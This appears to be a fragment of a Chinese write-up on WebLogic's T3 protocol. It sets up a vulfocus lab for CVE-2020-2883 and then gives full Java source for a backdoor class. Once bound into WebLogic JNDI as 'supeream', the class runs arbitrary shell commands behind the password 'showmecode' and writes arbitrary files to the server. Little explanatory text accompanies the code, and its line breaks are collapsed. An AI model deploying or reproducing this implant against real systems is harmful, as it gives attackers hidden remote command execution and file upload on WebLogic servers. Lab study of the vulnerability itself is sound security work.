Weblogic t3协议分析

version: '2'services: weblogic:   image: vulfocus/weblogic-cve_2020_2883:latest   ports:    - "7001:7001"    - "8453:8453"

debugFlag="true"export debugFlag

package com.supeream.payload;
import java.io.BufferedReader;import java.io.FileOutputStream;import java.io.InputStreamReader;import java.rmi.RemoteException;import java.util.ArrayList;import java.util.List;import javax.naming.Context;import javax.naming.InitialContext;import weblogic.cluster.singleton.ClusterMasterRemote;
public class RemoteImpl implements ClusterMasterRemote {    public RemoteImpl() {    }
    public static void main(String[] args) {        try {            RemoteImpl remote = new RemoteImpl();            if (args.length == 2 && args[0].equalsIgnoreCase("blind")) {                remote.getServerLocation(args[1]);            } else if (args.length == 1) {                Context ctx = new InitialContext();                if (args[0].equalsIgnoreCase("install")) {                    ctx.rebind("supeream", remote);                } else if (args[0].equalsIgnoreCase("uninstall")) {                    ctx.unbind("supeream");                }            }        } catch (Exception var3) {        }
    }
    public void setServerLocation(String cmd, String args) throws RemoteException {    }
    public static void uploadFile(String path, byte[] content) {        try {            FileOutputStream fileOutputStream = new FileOutputStream(path);            fileOutputStream.write(content);            fileOutputStream.flush();            fileOutputStream.close();        } catch (Exception var3) {        }
    }
    public String getServerLocation(String cmd) throws RemoteException {        try {            if (!cmd.startsWith("showmecode")) {                return "guess me?";            } else {                cmd = cmd.substring(10);                boolean isLinux = true;                String osTyp = System.getProperty("os.name");                if (osTyp != null && osTyp.toLowerCase().contains("win")) {                    isLinux = false;                }
                List<String> cmds = new ArrayList();                if (cmd.startsWith("$NO$")) {                    cmds.add(cmd.substring(4));                } else if (isLinux) {                    cmds.add("/bin/bash");                    cmds.add("-c");                    cmds.add(cmd);                } else {                    cmds.add("cmd.exe");                    cmds.add("/c");                    cmds.add(cmd);                }
                ProcessBuilder processBuilder = new ProcessBuilder(cmds);                processBuilder.redirectErrorStream(true);                Process proc = processBuilder.start();                BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));                StringBuffer sb = new StringBuffer();
                String line;                while((line = br.readLine()) != null) {                    sb.append(line).append("n");                }
                return sb.toString();            }        } catch (Exception var10) {            return var10.getMessage();        }    }}